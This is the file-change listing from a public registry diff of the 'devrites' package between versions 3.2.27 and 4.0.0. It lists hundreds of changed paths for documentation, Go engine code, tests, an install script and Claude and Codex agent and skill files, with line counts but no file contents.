devrites 3.2.27 → 4.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (897) hide show
  1. package/CHANGELOG.md +22 -144
  2. package/NOTICE.md +6 -5
  3. package/README.md +187 -95
  4. package/SECURITY.md +103 -79
  5. package/bin/devrites.mjs +140 -24
  6. package/docs/adr/0003-gate-model-hitl-pause.md +1 -1
  7. package/docs/adr/0013-native-codex-agent-orchestration.md +74 -0
  8. package/docs/adr/0014-native-host-hook-boundary.md +64 -0
  9. package/docs/adr/0015-read-only-root-native-orchestration.md +96 -0
  10. package/docs/adr/0016-codex-writer-fail-closed.md +53 -0
  11. package/docs/adr/0017-native-codex-writer-agent.md +63 -0
  12. package/docs/adr/0018-native-sandbox-instruction-writer-boundary.md +66 -0
  13. package/docs/adr/0019-native-boundary-with-deterministic-gates.md +48 -0
  14. package/docs/adr/0020-thin-engine-native-orchestration-boundary.md +54 -0
  15. package/docs/adr/0021-observable-workspace-compatibility.md +49 -0
  16. package/docs/adr/0022-native-orchestration-thin-engine.md +90 -0
  17. package/docs/adr/0023-native-workspace-reads-line-output.md +71 -0
  18. package/docs/adr/0024-native-policy-offline-installer-boundary.md +111 -0
  19. package/docs/adr/0025-evidence-gated-workspace-upgrades.md +64 -0
  20. package/docs/adr/0026-content-bound-proof-and-bounded-inputs.md +169 -0
  21. package/docs/adr/0027-content-bound-build-readiness.md +77 -0
  22. package/docs/adr/README.md +26 -11
  23. package/docs/agents/domain.md +2 -1
  24. package/docs/agents/issue-driven-rites.md +1 -1
  25. package/docs/architecture.md +191 -103
  26. package/docs/candidate-integrity.md +138 -0
  27. package/docs/capability-surface-selection.md +15 -5
  28. package/docs/cli.md +139 -92
  29. package/docs/command-map.md +88 -63
  30. package/docs/engine/commands.md +115 -507
  31. package/docs/engine/state-schema.md +94 -113
  32. package/docs/engine/workspace-schema.md +169 -229
  33. package/docs/flow.md +113 -68
  34. package/docs/harness-compliance.md +29 -56
  35. package/docs/markdown-instruction-upgrade-2026-08-02.md +302 -0
  36. package/docs/orchestration.md +136 -149
  37. package/docs/porting-to-a-new-harness.md +22 -7
  38. package/docs/quick-reference.md +21 -8
  39. package/docs/release.md +47 -4
  40. package/docs/skills.md +111 -72
  41. package/docs/templates/CRITIC_REVIEW_PACKET_TEMPLATE.md +2 -0
  42. package/docs/upstream-workflow-benchmark-2026-08-01.md +655 -0
  43. package/docs/usage.md +99 -65
  44. package/engine/Makefile +1 -2
  45. package/engine/cmd/releasepack/main.go +45 -25
  46. package/engine/cmd/releasepack/main_test.go +69 -0
  47. package/engine/commands.go +8 -258
  48. package/engine/harnessmatrix_test.go +28 -41
  49. package/engine/internal/devritespaths/paths.go +12 -28
  50. package/engine/internal/fsutil/copy.go +8 -0
  51. package/engine/internal/gate/gate.go +104 -105
  52. package/engine/internal/gate/gate_test.go +94 -84
  53. package/engine/internal/gate/readiness_binding.go +203 -0
  54. package/engine/internal/gate/readiness_binding_test.go +271 -0
  55. package/engine/internal/gitenv/env.go +46 -0
  56. package/engine/internal/gitenv/env_test.go +48 -0
  57. package/engine/internal/hostpack/hostpack.go +16 -20
  58. package/engine/internal/hostpack/hostpack_test.go +6 -6
  59. package/engine/internal/install/install.go +289 -511
  60. package/engine/internal/install/install_test.go +218 -306
  61. package/engine/internal/lib/candidate.go +475 -0
  62. package/engine/internal/lib/candidate_test.go +503 -0
  63. package/engine/internal/lib/closeout.go +17 -21
  64. package/engine/internal/lib/closeout_test.go +23 -0
  65. package/engine/internal/lib/cursor_compat_test.go +12 -75
  66. package/engine/internal/lib/evidencefresh.go +58 -47
  67. package/engine/internal/lib/evidencefresh_test.go +120 -0
  68. package/engine/internal/lib/resolve.go +13 -35
  69. package/engine/internal/lib/resolve_remediation_test.go +5 -17
  70. package/engine/internal/lib/secretscan.go +432 -0
  71. package/engine/internal/lib/secretscan_test.go +555 -0
  72. package/engine/internal/lib/util.go +24 -65
  73. package/engine/internal/lib/util_test.go +44 -0
  74. package/engine/internal/markdowntext/markdowntext.go +108 -0
  75. package/engine/internal/markdowntext/markdowntext_test.go +58 -0
  76. package/engine/internal/markdowntext/testdata/structural.json +27 -0
  77. package/engine/internal/reason/reason.go +2 -123
  78. package/engine/internal/reason/reason_test.go +4 -2
  79. package/engine/internal/rootfacts/facts.go +6 -8
  80. package/engine/internal/rootfacts/facts_test.go +20 -0
  81. package/engine/internal/state/cmd/workflowmanifest/main.go +10 -12
  82. package/engine/internal/state/cursor.go +53 -14
  83. package/engine/internal/state/cursor_test.go +57 -0
  84. package/engine/internal/state/feature.go +64 -154
  85. package/engine/internal/state/schema.go +24 -50
  86. package/engine/internal/state/state_test.go +151 -140
  87. package/engine/internal/state/status.go +4 -17
  88. package/engine/internal/state/workflow_manifest.json +9 -89
  89. package/engine/main.go +73 -502
  90. package/engine/root_routing_test.go +183 -212
  91. package/engine/testdata/fixtures/basic/devrites-root/{features/auth-tokens/feature.md → work/auth-tokens/README.md} +0 -1
  92. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/architecture.md +3 -0
  93. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/assumptions.md +3 -0
  94. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/brief.md +3 -0
  95. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/decision-coverage.md +3 -0
  96. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/eng-review.md +3 -0
  97. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/questions.md +3 -0
  98. package/engine/testdata/fixtures/basic/devrites-root/{features/auth-tokens/status.md → work/auth-tokens/state.md} +3 -0
  99. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/test-plan.md +3 -0
  100. package/engine/testdata/fixtures/basic/devrites-root/work/auth-tokens/traceability.md +3 -0
  101. package/engine/testdata/fixtures/basic/devrites-root/{features/search-ranking/feature.md → work/search-ranking/README.md} +0 -1
  102. package/engine/testdata/fixtures/basic/devrites-root/work/search-ranking/assumptions.md +3 -0
  103. package/engine/testdata/fixtures/basic/devrites-root/work/search-ranking/brief.md +3 -0
  104. package/engine/testdata/fixtures/basic/devrites-root/work/search-ranking/decisions.md +3 -0
  105. package/engine/testdata/fixtures/basic/devrites-root/work/search-ranking/questions.md +3 -0
  106. package/engine/testdata/fixtures/basic/devrites-root/work/search-ranking/state.md +2 -0
  107. package/engine/testdata/golden/TestParityCloseOut/active_pointed_elsewhere.golden +1 -1
  108. package/engine/testdata/golden/TestParityCloseOut/active_slug_cleared.golden +1 -1
  109. package/engine/tests/adr_0003_gate_exit_code_test.go +2 -2
  110. package/engine/tests/adr_0011_define_plan_test.go +2 -2
  111. package/engine/tests/adr_0027_readiness_binding_test.go +106 -0
  112. package/engine/tests/cli_test.go +24 -107
  113. package/engine/tests/gate_test.go +177 -200
  114. package/engine/tests/meta_test.go +5 -35
  115. package/engine/tests/parity_closeout_test.go +12 -12
  116. package/engine/tests/parity_resolve_test.go +6 -16
  117. package/engine/tests/parity_test.go +8 -302
  118. package/install.sh +201 -34
  119. package/pack/.claude/agents/devrites-code-reviewer.md +9 -18
  120. package/pack/.claude/agents/devrites-devex-reviewer.md +10 -18
  121. package/pack/.claude/agents/devrites-doubt-reviewer.md +10 -20
  122. package/pack/.claude/agents/devrites-evidence-scout.md +14 -26
  123. package/pack/.claude/agents/devrites-frontend-reviewer.md +9 -15
  124. package/pack/.claude/agents/devrites-performance-reviewer.md +13 -21
  125. package/pack/.claude/agents/devrites-plan-drafter.md +24 -28
  126. package/pack/.claude/agents/devrites-plan-reviewer.md +30 -47
  127. package/pack/.claude/agents/devrites-proof-runner.md +41 -47
  128. package/pack/.claude/agents/devrites-retrospector.md +34 -79
  129. package/pack/.claude/agents/devrites-security-auditor.md +9 -17
  130. package/pack/.claude/agents/devrites-simplifier-reviewer.md +9 -18
  131. package/pack/.claude/agents/devrites-slice-wright.md +44 -62
  132. package/pack/.claude/agents/devrites-spec-reviewer.md +38 -50
  133. package/pack/.claude/agents/devrites-strategy-reviewer.md +10 -19
  134. package/pack/.claude/agents/devrites-test-analyst.md +22 -21
  135. package/pack/.claude/agents/devrites-upgrade-planner.md +52 -71
  136. package/pack/.claude/settings.json +12 -100
  137. package/pack/.claude/skills/devrites-api-interface/SKILL.md +1 -2
  138. package/pack/.claude/skills/devrites-audit/SKILL.md +6 -9
  139. package/pack/.claude/skills/devrites-browser-proof/SKILL.md +0 -1
  140. package/pack/.claude/skills/devrites-debug-recovery/SKILL.md +21 -27
  141. package/pack/.claude/skills/devrites-debug-recovery/reference/cleanup-and-classify.md +22 -33
  142. package/pack/.claude/skills/devrites-doubt/SKILL.md +4 -6
  143. package/pack/.claude/skills/devrites-frontend-craft/SKILL.md +1 -2
  144. package/pack/.claude/skills/devrites-frontend-craft/reference/design-references.md +2 -1
  145. package/pack/.claude/skills/devrites-interview/SKILL.md +31 -36
  146. package/pack/.claude/skills/devrites-lib/SKILL.md +37 -66
  147. package/pack/.claude/skills/devrites-lib/reference/candidate-integrity.md +51 -0
  148. package/pack/.claude/skills/devrites-lib/reference/intent-map.md +20 -12
  149. package/pack/.claude/skills/devrites-lib/reference/orchestration-profiles.md +22 -0
  150. package/pack/.claude/skills/devrites-lib/reference/parallel-dispatch.md +35 -110
  151. package/pack/.claude/skills/devrites-lib/reference/reply-contract.md +26 -93
  152. package/pack/.claude/skills/devrites-lib/reference/standards/README.md +6 -3
  153. package/pack/.claude/skills/devrites-lib/reference/standards/afk-hitl.md +43 -34
  154. package/pack/.claude/skills/devrites-lib/reference/standards/agents.md +90 -216
  155. package/pack/.claude/skills/devrites-lib/reference/standards/anti-patterns.md +1 -1
  156. package/pack/.claude/skills/devrites-lib/reference/standards/code-review.md +9 -28
  157. package/pack/.claude/skills/devrites-lib/reference/standards/context-hygiene.md +13 -11
  158. package/pack/.claude/skills/devrites-lib/reference/standards/core.md +59 -54
  159. package/pack/.claude/skills/devrites-lib/reference/standards/hooks.md +3 -5
  160. package/pack/.claude/skills/devrites-lib/reference/standards/principles.md +29 -143
  161. package/pack/.claude/skills/devrites-lib/reference/standards/release/ship-checklist.md +5 -6
  162. package/pack/.claude/skills/devrites-lib/reference/standards/security.md +13 -31
  163. package/pack/.claude/skills/devrites-lib/reference/standards/skill-authoring.md +112 -82
  164. package/pack/.claude/skills/devrites-lib/reference/standards/spec-grammar.md +71 -45
  165. package/pack/.claude/skills/devrites-lib/reference/standards/testing.md +22 -11
  166. package/pack/.claude/skills/devrites-lib/reference/standards/tooling.md +15 -24
  167. package/pack/.claude/skills/devrites-lib/reference/workspace-artifact-schema.md +106 -37
  168. package/pack/.claude/skills/devrites-prose-craft/SKILL.md +3 -4
  169. package/pack/.claude/skills/devrites-source-driven/SKILL.md +3 -4
  170. package/pack/.claude/skills/devrites-ux-shape/SKILL.md +3 -3
  171. package/pack/.claude/skills/rite/SKILL.md +12 -13
  172. package/pack/.claude/skills/rite/reference/menu.md +11 -11
  173. package/pack/.claude/skills/rite-adopt/SKILL.md +29 -84
  174. package/pack/.claude/skills/rite-adopt/reference/adoption.md +16 -50
  175. package/pack/.claude/skills/rite-autocomplete/SKILL.md +65 -54
  176. package/pack/.claude/skills/rite-autocomplete/reference/loop.md +24 -17
  177. package/pack/.claude/skills/rite-autocomplete/reference/stop-conditions.md +18 -21
  178. package/pack/.claude/skills/rite-build/SKILL.md +28 -34
  179. package/pack/.claude/skills/rite-build/reference/afk-discipline.md +36 -34
  180. package/pack/.claude/skills/rite-build/reference/anti-patterns.md +5 -19
  181. package/pack/.claude/skills/rite-build/reference/checkpoint-protocol.md +10 -9
  182. package/pack/.claude/skills/rite-build/reference/checkpoint.md +17 -17
  183. package/pack/.claude/skills/rite-build/reference/frontend-trigger.md +3 -3
  184. package/pack/.claude/skills/rite-build/reference/one-slice-cycle.md +11 -14
  185. package/pack/.claude/skills/rite-build/reference/output.md +14 -24
  186. package/pack/.claude/skills/rite-build/reference/phase-contract.md +49 -188
  187. package/pack/.claude/skills/rite-build/reference/spec-drift-guard.md +1 -1
  188. package/pack/.claude/skills/rite-build/reference/wright-dispatch.md +43 -133
  189. package/pack/.claude/skills/rite-clarify/SKILL.md +46 -40
  190. package/pack/.claude/skills/rite-clarify/reference/decision-coverage.md +4 -10
  191. package/pack/.claude/skills/rite-converge/SKILL.md +9 -33
  192. package/pack/.claude/skills/rite-converge/reference/convergence-assessment.md +2 -2
  193. package/pack/.claude/skills/rite-customize/SKILL.md +34 -50
  194. package/pack/.claude/skills/rite-define/SKILL.md +34 -58
  195. package/pack/.claude/skills/rite-define/reference/plan-template.md +15 -0
  196. package/pack/.claude/skills/rite-doctor/SKILL.md +52 -64
  197. package/pack/.claude/skills/rite-dogfood/SKILL.md +1 -2
  198. package/pack/.claude/skills/rite-explain/SKILL.md +1 -20
  199. package/pack/.claude/skills/rite-frame/SKILL.md +1 -7
  200. package/pack/.claude/skills/rite-frame/reference/failure-modes.md +1 -1
  201. package/pack/.claude/skills/rite-handoff/SKILL.md +1 -2
  202. package/pack/.claude/skills/rite-handoff/reference/handoff-template.md +1 -1
  203. package/pack/.claude/skills/rite-learn/SKILL.md +44 -104
  204. package/pack/.claude/skills/rite-plan/SKILL.md +14 -26
  205. package/pack/.claude/skills/rite-plan/reference/task-breakdown.md +4 -1
  206. package/pack/.claude/skills/rite-polish/SKILL.md +20 -28
  207. package/pack/.claude/skills/rite-polish/reference/adr-promotion.md +11 -0
  208. package/pack/{generated/claude/skills/rite-ship → .claude/skills/rite-polish}/reference/design-memory.md +23 -21
  209. package/pack/.claude/skills/rite-polish/reference/ledger.md +62 -0
  210. package/pack/.claude/skills/rite-pov/SKILL.md +28 -32
  211. package/pack/.claude/skills/rite-pr-feedback/SKILL.md +0 -1
  212. package/pack/.claude/skills/rite-pressure-test/SKILL.md +6 -13
  213. package/pack/.claude/skills/rite-prototype/SKILL.md +0 -6
  214. package/pack/.claude/skills/rite-prove/SKILL.md +73 -68
  215. package/pack/.claude/skills/rite-prove/reference/acceptance-proof.md +34 -30
  216. package/pack/.claude/skills/rite-prove/reference/test-command-discovery.md +15 -14
  217. package/pack/.claude/skills/rite-quick/SKILL.md +5 -19
  218. package/pack/.claude/skills/rite-resolve/SKILL.md +4 -21
  219. package/pack/.claude/skills/rite-resolve/reference/answer-protocol.md +2 -2
  220. package/pack/.claude/skills/rite-review/SKILL.md +34 -57
  221. package/pack/.claude/skills/rite-seal/SKILL.md +54 -87
  222. package/pack/.claude/skills/rite-seal/reference/anti-patterns.md +2 -2
  223. package/pack/.claude/skills/rite-seal/reference/final-evidence.md +31 -56
  224. package/pack/.claude/skills/rite-seal/reference/go-no-go.md +27 -51
  225. package/pack/.claude/skills/rite-seal/reference/output.md +2 -4
  226. package/pack/.claude/skills/rite-seal/reference/phase-contract.md +42 -140
  227. package/pack/.claude/skills/rite-seal/reference/risk-and-rollback.md +2 -2
  228. package/pack/.claude/skills/rite-seal/reference/seal-template.md +17 -28
  229. package/pack/.claude/skills/rite-ship/SKILL.md +65 -93
  230. package/pack/.claude/skills/rite-ship/reference/anti-patterns.md +4 -1
  231. package/pack/.claude/skills/rite-ship/reference/close-out.md +4 -12
  232. package/pack/.claude/skills/rite-ship/reference/git-ship.md +86 -48
  233. package/pack/.claude/skills/rite-ship/reference/ship-template.md +22 -16
  234. package/pack/.claude/skills/rite-spec/SKILL.md +62 -95
  235. package/pack/.claude/skills/rite-spec/reference/investigation.md +1 -4
  236. package/pack/.claude/skills/rite-spec/reference/question-protocol.md +21 -20
  237. package/pack/.claude/skills/rite-spec/reference/spec-checklists.md +16 -17
  238. package/pack/.claude/skills/rite-spec/reference/spec-template.md +47 -49
  239. package/pack/.claude/skills/rite-spec/reference/state-workspace.md +28 -13
  240. package/pack/.claude/skills/rite-status/SKILL.md +30 -88
  241. package/pack/.claude/skills/rite-temper/SKILL.md +12 -31
  242. package/pack/.claude/skills/rite-upgrade/SKILL.md +86 -101
  243. package/pack/.claude/skills/rite-vet/SKILL.md +88 -117
  244. package/pack/.claude/skills/rite-vet/reference/artifacts.md +56 -50
  245. package/pack/.claude/skills/rite-vet/reference/cross-model.md +15 -39
  246. package/pack/.claude/skills/rite-vet/reference/depth.md +2 -2
  247. package/pack/.claude/skills/rite-vet/reference/review-axes.md +3 -6
  248. package/pack/.claude/skills/rite-zoom-out/SKILL.md +0 -6
  249. package/pack/generated/README.md +2 -2
  250. package/pack/generated/claude/agents/devrites-code-reviewer.md +9 -18
  251. package/pack/generated/claude/agents/devrites-devex-reviewer.md +10 -18
  252. package/pack/generated/claude/agents/devrites-doubt-reviewer.md +10 -20
  253. package/pack/generated/claude/agents/devrites-evidence-scout.md +14 -26
  254. package/pack/generated/claude/agents/devrites-frontend-reviewer.md +9 -15
  255. package/pack/generated/claude/agents/devrites-performance-reviewer.md +13 -21
  256. package/pack/generated/claude/agents/devrites-plan-drafter.md +24 -28
  257. package/pack/generated/claude/agents/devrites-plan-reviewer.md +30 -47
  258. package/pack/generated/claude/agents/devrites-proof-runner.md +41 -47
  259. package/pack/generated/claude/agents/devrites-retrospector.md +34 -79
  260. package/pack/generated/claude/agents/devrites-security-auditor.md +9 -17
  261. package/pack/generated/claude/agents/devrites-simplifier-reviewer.md +9 -18
  262. package/pack/generated/claude/agents/devrites-slice-wright.md +44 -62
  263. package/pack/generated/claude/agents/devrites-spec-reviewer.md +38 -50
  264. package/pack/generated/claude/agents/devrites-strategy-reviewer.md +10 -19
  265. package/pack/generated/claude/agents/devrites-test-analyst.md +22 -21
  266. package/pack/generated/claude/agents/devrites-upgrade-planner.md +52 -71
  267. package/pack/generated/claude/settings.json +12 -100
  268. package/pack/generated/claude/skills/devrites-api-interface/SKILL.md +1 -2
  269. package/pack/generated/claude/skills/devrites-audit/SKILL.md +6 -9
  270. package/pack/generated/claude/skills/devrites-browser-proof/SKILL.md +0 -1
  271. package/pack/generated/claude/skills/devrites-debug-recovery/SKILL.md +21 -27
  272. package/pack/generated/claude/skills/devrites-debug-recovery/reference/cleanup-and-classify.md +22 -33
  273. package/pack/generated/claude/skills/devrites-doubt/SKILL.md +4 -6
  274. package/pack/generated/claude/skills/devrites-frontend-craft/SKILL.md +1 -2
  275. package/pack/generated/claude/skills/devrites-frontend-craft/reference/design-references.md +2 -1
  276. package/pack/generated/claude/skills/devrites-interview/SKILL.md +31 -36
  277. package/pack/generated/claude/skills/devrites-lib/SKILL.md +37 -66
  278. package/pack/generated/claude/skills/devrites-lib/reference/candidate-integrity.md +51 -0
  279. package/pack/generated/claude/skills/devrites-lib/reference/intent-map.md +20 -12
  280. package/pack/generated/claude/skills/devrites-lib/reference/orchestration-profiles.md +22 -0
  281. package/pack/generated/claude/skills/devrites-lib/reference/parallel-dispatch.md +35 -110
  282. package/pack/generated/claude/skills/devrites-lib/reference/reply-contract.md +26 -93
  283. package/pack/generated/claude/skills/devrites-lib/reference/standards/README.md +6 -3
  284. package/pack/generated/claude/skills/devrites-lib/reference/standards/afk-hitl.md +43 -34
  285. package/pack/generated/claude/skills/devrites-lib/reference/standards/agents.md +90 -216
  286. package/pack/generated/claude/skills/devrites-lib/reference/standards/anti-patterns.md +1 -1
  287. package/pack/generated/claude/skills/devrites-lib/reference/standards/code-review.md +9 -28
  288. package/pack/generated/claude/skills/devrites-lib/reference/standards/context-hygiene.md +13 -11
  289. package/pack/generated/claude/skills/devrites-lib/reference/standards/core.md +59 -54
  290. package/pack/generated/claude/skills/devrites-lib/reference/standards/hooks.md +3 -5
  291. package/pack/generated/claude/skills/devrites-lib/reference/standards/principles.md +29 -143
  292. package/pack/generated/claude/skills/devrites-lib/reference/standards/release/ship-checklist.md +5 -6
  293. package/pack/generated/claude/skills/devrites-lib/reference/standards/security.md +13 -31
  294. package/pack/generated/claude/skills/devrites-lib/reference/standards/skill-authoring.md +112 -82
  295. package/pack/generated/claude/skills/devrites-lib/reference/standards/spec-grammar.md +71 -45
  296. package/pack/generated/claude/skills/devrites-lib/reference/standards/testing.md +22 -11
  297. package/pack/generated/claude/skills/devrites-lib/reference/standards/tooling.md +15 -24
  298. package/pack/generated/claude/skills/devrites-lib/reference/workspace-artifact-schema.md +106 -37
  299. package/pack/generated/claude/skills/devrites-prose-craft/SKILL.md +3 -4
  300. package/pack/generated/claude/skills/devrites-source-driven/SKILL.md +3 -4
  301. package/pack/generated/claude/skills/devrites-ux-shape/SKILL.md +3 -3
  302. package/pack/generated/claude/skills/rite/SKILL.md +12 -13
  303. package/pack/generated/claude/skills/rite/reference/menu.md +11 -11
  304. package/pack/generated/claude/skills/rite-adopt/SKILL.md +29 -84
  305. package/pack/generated/claude/skills/rite-adopt/reference/adoption.md +16 -50
  306. package/pack/generated/claude/skills/rite-autocomplete/SKILL.md +65 -54
  307. package/pack/generated/claude/skills/rite-autocomplete/reference/loop.md +24 -17
  308. package/pack/generated/claude/skills/rite-autocomplete/reference/stop-conditions.md +18 -21
  309. package/pack/generated/claude/skills/rite-build/SKILL.md +28 -34
  310. package/pack/generated/claude/skills/rite-build/reference/afk-discipline.md +36 -34
  311. package/pack/generated/claude/skills/rite-build/reference/anti-patterns.md +5 -19
  312. package/pack/generated/claude/skills/rite-build/reference/checkpoint-protocol.md +10 -9
  313. package/pack/generated/claude/skills/rite-build/reference/checkpoint.md +17 -17
  314. package/pack/generated/claude/skills/rite-build/reference/frontend-trigger.md +3 -3
  315. package/pack/generated/claude/skills/rite-build/reference/one-slice-cycle.md +11 -14
  316. package/pack/generated/claude/skills/rite-build/reference/output.md +14 -24
  317. package/pack/generated/claude/skills/rite-build/reference/phase-contract.md +49 -188
  318. package/pack/generated/claude/skills/rite-build/reference/spec-drift-guard.md +1 -1
  319. package/pack/generated/claude/skills/rite-build/reference/wright-dispatch.md +43 -133
  320. package/pack/generated/claude/skills/rite-clarify/SKILL.md +46 -40
  321. package/pack/generated/claude/skills/rite-clarify/reference/decision-coverage.md +4 -10
  322. package/pack/generated/claude/skills/rite-converge/SKILL.md +9 -33
  323. package/pack/generated/claude/skills/rite-converge/reference/convergence-assessment.md +2 -2
  324. package/pack/generated/claude/skills/rite-customize/SKILL.md +34 -50
  325. package/pack/generated/claude/skills/rite-define/SKILL.md +34 -58
  326. package/pack/generated/claude/skills/rite-define/reference/plan-template.md +15 -0
  327. package/pack/generated/claude/skills/rite-doctor/SKILL.md +52 -64
  328. package/pack/generated/claude/skills/rite-dogfood/SKILL.md +1 -2
  329. package/pack/generated/claude/skills/rite-explain/SKILL.md +1 -20
  330. package/pack/generated/claude/skills/rite-frame/SKILL.md +1 -7
  331. package/pack/generated/claude/skills/rite-frame/reference/failure-modes.md +1 -1
  332. package/pack/generated/claude/skills/rite-handoff/SKILL.md +1 -2
  333. package/pack/generated/claude/skills/rite-handoff/reference/handoff-template.md +1 -1
  334. package/pack/generated/claude/skills/rite-learn/SKILL.md +44 -104
  335. package/pack/generated/claude/skills/rite-plan/SKILL.md +14 -26
  336. package/pack/generated/claude/skills/rite-plan/reference/task-breakdown.md +4 -1
  337. package/pack/generated/claude/skills/rite-polish/SKILL.md +20 -28
  338. package/pack/generated/claude/skills/rite-polish/reference/adr-promotion.md +11 -0
  339. package/pack/generated/{codex/skills/rite-ship → claude/skills/rite-polish}/reference/design-memory.md +23 -21
  340. package/pack/generated/claude/skills/rite-polish/reference/ledger.md +62 -0
  341. package/pack/generated/claude/skills/rite-pov/SKILL.md +28 -32
  342. package/pack/generated/claude/skills/rite-pr-feedback/SKILL.md +0 -1
  343. package/pack/generated/claude/skills/rite-pressure-test/SKILL.md +6 -13
  344. package/pack/generated/claude/skills/rite-prototype/SKILL.md +0 -6
  345. package/pack/generated/claude/skills/rite-prove/SKILL.md +73 -68
  346. package/pack/generated/claude/skills/rite-prove/reference/acceptance-proof.md +34 -30
  347. package/pack/generated/claude/skills/rite-prove/reference/test-command-discovery.md +15 -14
  348. package/pack/generated/claude/skills/rite-quick/SKILL.md +5 -19
  349. package/pack/generated/claude/skills/rite-resolve/SKILL.md +4 -21
  350. package/pack/generated/claude/skills/rite-resolve/reference/answer-protocol.md +2 -2
  351. package/pack/generated/claude/skills/rite-review/SKILL.md +34 -57
  352. package/pack/generated/claude/skills/rite-seal/SKILL.md +54 -87
  353. package/pack/generated/claude/skills/rite-seal/reference/anti-patterns.md +2 -2
  354. package/pack/generated/claude/skills/rite-seal/reference/final-evidence.md +31 -56
  355. package/pack/generated/claude/skills/rite-seal/reference/go-no-go.md +27 -51
  356. package/pack/generated/claude/skills/rite-seal/reference/output.md +2 -4
  357. package/pack/generated/claude/skills/rite-seal/reference/phase-contract.md +42 -140
  358. package/pack/generated/claude/skills/rite-seal/reference/risk-and-rollback.md +2 -2
  359. package/pack/generated/claude/skills/rite-seal/reference/seal-template.md +17 -28
  360. package/pack/generated/claude/skills/rite-ship/SKILL.md +65 -93
  361. package/pack/generated/claude/skills/rite-ship/reference/anti-patterns.md +4 -1
  362. package/pack/generated/claude/skills/rite-ship/reference/close-out.md +4 -12
  363. package/pack/generated/claude/skills/rite-ship/reference/git-ship.md +86 -48
  364. package/pack/generated/claude/skills/rite-ship/reference/ship-template.md +22 -16
  365. package/pack/generated/claude/skills/rite-spec/SKILL.md +62 -95
  366. package/pack/generated/claude/skills/rite-spec/reference/investigation.md +1 -4
  367. package/pack/generated/claude/skills/rite-spec/reference/question-protocol.md +21 -20
  368. package/pack/generated/claude/skills/rite-spec/reference/spec-checklists.md +16 -17
  369. package/pack/generated/claude/skills/rite-spec/reference/spec-template.md +47 -49
  370. package/pack/generated/claude/skills/rite-spec/reference/state-workspace.md +28 -13
  371. package/pack/generated/claude/skills/rite-status/SKILL.md +30 -88
  372. package/pack/generated/claude/skills/rite-temper/SKILL.md +12 -31
  373. package/pack/generated/claude/skills/rite-upgrade/SKILL.md +86 -101
  374. package/pack/generated/claude/skills/rite-vet/SKILL.md +88 -117
  375. package/pack/generated/claude/skills/rite-vet/reference/artifacts.md +56 -50
  376. package/pack/generated/claude/skills/rite-vet/reference/cross-model.md +15 -39
  377. package/pack/generated/claude/skills/rite-vet/reference/depth.md +2 -2
  378. package/pack/generated/claude/skills/rite-vet/reference/review-axes.md +3 -6
  379. package/pack/generated/claude/skills/rite-zoom-out/SKILL.md +0 -6
  380. package/pack/generated/codex/AGENTS.md +5 -4
  381. package/pack/generated/codex/agents/devrites-code-reviewer.toml +8 -27
  382. package/pack/generated/codex/agents/devrites-devex-reviewer.toml +9 -27
  383. package/pack/generated/codex/agents/devrites-doubt-reviewer.toml +9 -29
  384. package/pack/generated/codex/agents/devrites-evidence-scout.toml +14 -36
  385. package/pack/generated/codex/agents/devrites-frontend-reviewer.toml +8 -24
  386. package/pack/generated/codex/agents/devrites-performance-reviewer.toml +12 -30
  387. package/pack/generated/codex/agents/devrites-plan-drafter.toml +24 -38
  388. package/pack/generated/codex/agents/devrites-plan-reviewer.toml +30 -57
  389. package/pack/generated/codex/agents/devrites-proof-runner.toml +41 -57
  390. package/pack/generated/codex/agents/devrites-retrospector.toml +34 -89
  391. package/pack/generated/codex/agents/devrites-security-auditor.toml +8 -26
  392. package/pack/generated/codex/agents/devrites-simplifier-reviewer.toml +8 -27
  393. package/pack/generated/codex/agents/devrites-slice-wright.toml +44 -71
  394. package/pack/generated/codex/agents/devrites-spec-reviewer.toml +38 -60
  395. package/pack/generated/codex/agents/devrites-strategy-reviewer.toml +9 -28
  396. package/pack/generated/codex/agents/devrites-test-analyst.toml +21 -30
  397. package/pack/generated/codex/agents/devrites-upgrade-planner.toml +52 -81
  398. package/pack/generated/codex/config.toml +7 -0
  399. package/pack/generated/codex/skills/devrites-api-interface/SKILL.md +1 -21
  400. package/pack/generated/codex/skills/devrites-audit/SKILL.md +6 -28
  401. package/pack/generated/codex/skills/devrites-browser-proof/SKILL.md +1 -21
  402. package/pack/generated/codex/skills/devrites-debug-recovery/SKILL.md +21 -46
  403. package/pack/generated/codex/skills/devrites-debug-recovery/reference/cleanup-and-classify.md +22 -33
  404. package/pack/generated/codex/skills/devrites-doubt/SKILL.md +4 -25
  405. package/pack/generated/codex/skills/devrites-frontend-craft/SKILL.md +1 -21
  406. package/pack/generated/codex/skills/devrites-frontend-craft/reference/design-references.md +2 -1
  407. package/pack/generated/codex/skills/devrites-interview/SKILL.md +32 -56
  408. package/pack/generated/codex/skills/devrites-lib/SKILL.md +38 -86
  409. package/pack/generated/codex/skills/devrites-lib/reference/candidate-integrity.md +51 -0
  410. package/pack/generated/codex/skills/devrites-lib/reference/intent-map.md +20 -12
  411. package/pack/generated/codex/skills/devrites-lib/reference/orchestration-profiles.md +22 -0
  412. package/pack/generated/codex/skills/devrites-lib/reference/parallel-dispatch.md +35 -110
  413. package/pack/generated/codex/skills/devrites-lib/reference/reply-contract.md +26 -93
  414. package/pack/generated/codex/skills/devrites-lib/reference/standards/README.md +6 -3
  415. package/pack/generated/codex/skills/devrites-lib/reference/standards/afk-hitl.md +43 -34
  416. package/pack/generated/codex/skills/devrites-lib/reference/standards/agents.md +90 -216
  417. package/pack/generated/codex/skills/devrites-lib/reference/standards/anti-patterns.md +1 -1
  418. package/pack/generated/codex/skills/devrites-lib/reference/standards/code-review.md +9 -28
  419. package/pack/generated/codex/skills/devrites-lib/reference/standards/context-hygiene.md +13 -11
  420. package/pack/generated/codex/skills/devrites-lib/reference/standards/core.md +59 -54
  421. package/pack/generated/codex/skills/devrites-lib/reference/standards/hooks.md +3 -5
  422. package/pack/generated/codex/skills/devrites-lib/reference/standards/principles.md +29 -143
  423. package/pack/generated/codex/skills/devrites-lib/reference/standards/release/ship-checklist.md +5 -6
  424. package/pack/generated/codex/skills/devrites-lib/reference/standards/security.md +13 -31
